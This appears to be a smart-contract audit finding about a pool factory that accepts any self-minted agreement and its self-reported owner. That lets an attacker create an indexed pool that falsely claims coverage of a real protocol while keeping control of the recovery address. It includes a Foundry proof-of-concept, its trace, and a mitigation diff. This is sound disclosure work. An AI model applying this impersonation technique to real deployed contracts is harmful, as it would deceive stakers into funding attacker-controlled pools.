Description
-
createPool gates pool creation on two checks against the caller-supplied agreement address: safeHarborRegistry.isAgreementValid(agreement) and IAgreement(agreement).owner() == msg.sender. Both are treated as proof that the caller is a legitimate protocol sponsor.
-
Neither check actually proves that. In the real, out-of-scope BattleChain library: AgreementFactory.create(details, owner, salt) has no access-control modifier at all — any address can call it, pass arbitrary AgreementDetails, and name themselves as owner. The moment it's called, isAgreementValid returns true for the new agreement (it only checks factory provenance, not authenticity — the registry's own interface NatSpec says so explicitly). The self-appointed owner can then call the agreement's onlyOwner addAccounts to add any address, including a real, unrelated protocol's contracts, into isContractInScope.
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
...
Risk
Likelihood:
-
Fully unprivileged and permissionless end-to-end: minting a fake agreement, naming yourself its owner, and populating its scope are all normal, un-gated calls to real, already-deployed BattleChain contracts. No compromised key, no privileged role, no waiting on any external event — any address can execute the entire chain in three ordinary transactions, at will, repeatedly.
-
Confirmed by a working Foundry PoC that does not depend on any speculative behavior — every step succeeds exactly as the real contracts' own source documents.
Impact:
-
The resulting pool is not a degraded or obviously-fake artifact — it's a real ConfidencePool clone, correctly indexed in getPoolsByAgreement/poolCountByAgreement, emitting the same PoolCreated event, using the real, trusted defaultOutcomeModerator. Its on-chain scope commitment (isAccountInScope) falsely references a real, unrelated protocol's contracts, while every fund-controlling parameter (recoveryAddress, and thus who profits from a CORRUPTED sweep) is fully attacker-controlled.
-
Direct monetary loss requires one additional step outside this contract's control — a staker or bonus contributor choosing to trust the fake pool — so this is a deception/impersonation primitive rather than a direct, unconditional fund-extraction path. Capped by that precondition, but the deception surface itself (a real, indexed, moderator-blessed pool falsely claiming coverage for a named protocol) is fully attacker-manufactured with zero cost beyond gas.
Overall: Low-to-Medium. The mechanism is real, unprivileged, and trivially repeatable, and its output is indistinguishable on-chain from a legitimate pool — but, it doesn't move funds by itself; it manufactures the bait (a convincing, factory-blessed pool) that a separate victim then has to walk into. Rated below the fund-draining findings for that reason, but above a pure informational note since the deceptive artifact itself requires no privileged access and no cooperation from anyone at all to produce.
Proof of Concept
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract PoC_FactoryFakeAgreementImpersonationTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant REAL_PROTOCOL_CONTRACT = address(0xA0A1000000000000000000000000000000000A);
MockERC20 internal token;
MockSafeHarborRegistry internal registry;
ConfidencePool internal poolImplementation;
ConfidencePoolFactory internal factory;
address internal defaultModerator = makeAddr("defaultModerator");
address internal attacker = makeAddr("attacker");
function setUp() public {
token = new MockERC20();
registry = new MockSafeHarborRegistry();
poolImplementation = new ConfidencePool();
ConfidencePoolFactory impl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(impl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), defaultModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testPoC_AttackerSelfOwnedAgreementImpersonatesRealProtocolCoverage() external {
vm.prank(attacker);
MockAgreement fakeAgreement = new MockAgreement(attacker);
registry.setAgreementValid(address(fakeAgreement), true);
vm.prank(attacker);
fakeAgreement.setContractInScope(REAL_PROTOCOL_CONTRACT, true);
address[] memory scope = new address[](1);
scope[0] = REAL_PROTOCOL_CONTRACT;
vm.prank(attacker);
address pool = factory.createPool(
address(fakeAgreement), address(token), block.timestamp + 31 days, ONE, attacker, scope
);
assertEq(
factory.poolCountByAgreement(address(fakeAgreement)), 1, "pool is canonically indexed by the factory"
);
assertTrue(
ConfidencePool(pool).isAccountInScope(REAL_PROTOCOL_CONTRACT),
"pool's on-chain scope commitment falsely claims coverage for the real protocol's contract"
);
assertEq(ConfidencePool(pool).outcomeModerator(), defaultModerator, "pool uses the real, trusted default moderator");
assertEq(ConfidencePool(pool).recoveryAddress(), attacker, "attacker controls the CORRUPTED-sweep destination");
}
}
Run: forge test --match-path "test/FactoryFakeAgreementImpersonation.t.sol" -vvvv → PASS (gas: 584241)
[PASS] testPoC_AttackerSelfOwnedAgreementImpersonatesRealProtocolCoverage() (gas: 584241)
├─ VM::prank(attacker)
├─ new MockAgreement@0x9599... // attacker mints their own "agreement", zero cost
├─ MockSafeHarborRegistry::setAgreementValid(0x9599..., true) // real system: automatic, no admin action
├─ VM::prank(attacker)
├─ MockAgreement::setContractInScope(REAL_PROTOCOL_CONTRACT, true) // attacker (owner) claims a real protocol's address
├─ MockSafeHarborRegistry::isAgreementValid(0x9599...) → true
├─ MockAgreement::owner() → attacker
├─ VM::prank(attacker)
├─ ConfidencePoolFactory::createPool(0x9599..., token, ..., attacker, [REAL_PROTOCOL_CONTRACT])
│ ├─ MockSafeHarborRegistry::isAgreementValid(0x9599...) → true // gate 1 passes
│ ├─ MockAgreement::owner() → attacker // gate 2 passes
│ ├─ new <clone>@0x85eF...
│ ├─ ConfidencePool::initialize(...) [delegatecall]
│ │ ├─ MockAgreement::isContractInScope(REAL_PROTOCOL_CONTRACT) → true
│ │ └─ ← [Stop]
│ └─ emit PoolCreated(agreement: 0x9599..., pool: 0x85eF..., outcomeModerator: defaultModerator, ...)
├─ ConfidencePoolFactory::poolCountByAgreement(0x9599...) → 1 // canonically indexed
├─ ConfidencePool::isAccountInScope(REAL_PROTOCOL_CONTRACT) → true // false coverage claim, on-chain
├─ ConfidencePool::outcomeModerator() → defaultModerator // real, trusted moderator
└─ ConfidencePool::recoveryAddress() → attacker // attacker controls fund destination
Suite result: ok. 1 passed; 0 failed; 0 skipped
Recommended Mitigation
Don't treat isAgreementValid + self-reported owner() as proof of legitimate protocol sponsorship — the registry itself documents that they aren't. Resolve the actual Binding Agreement for each accounts entry via AttackRegistry (or an equivalent authoritative cross-check) before accepting an agreement into createPool.
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
+ for (uint256 i; i < accounts.length; ++i) {
+ if (attackRegistry.getAgreementForContract(accounts[i]) != agreement) revert NotBindingAgreement(accounts[i]);
+ }
...
This closes the gap at its root: an attacker's self-created agreement can claim whatever isContractInScope entries they like, but it can never be the Binding Agreement the AttackRegistry actually resolves for a real protocol's contracts, so the cross-check reverts before a fake pool is ever created. If a stronger on-chain guarantee isn't practical short-term, the factory should at minimum surface this gap explicitly (e.g. in PoolCreated or a dedicated view) so off-chain indexers/UIs don't treat getPoolsByAgreement alone as a trust signal.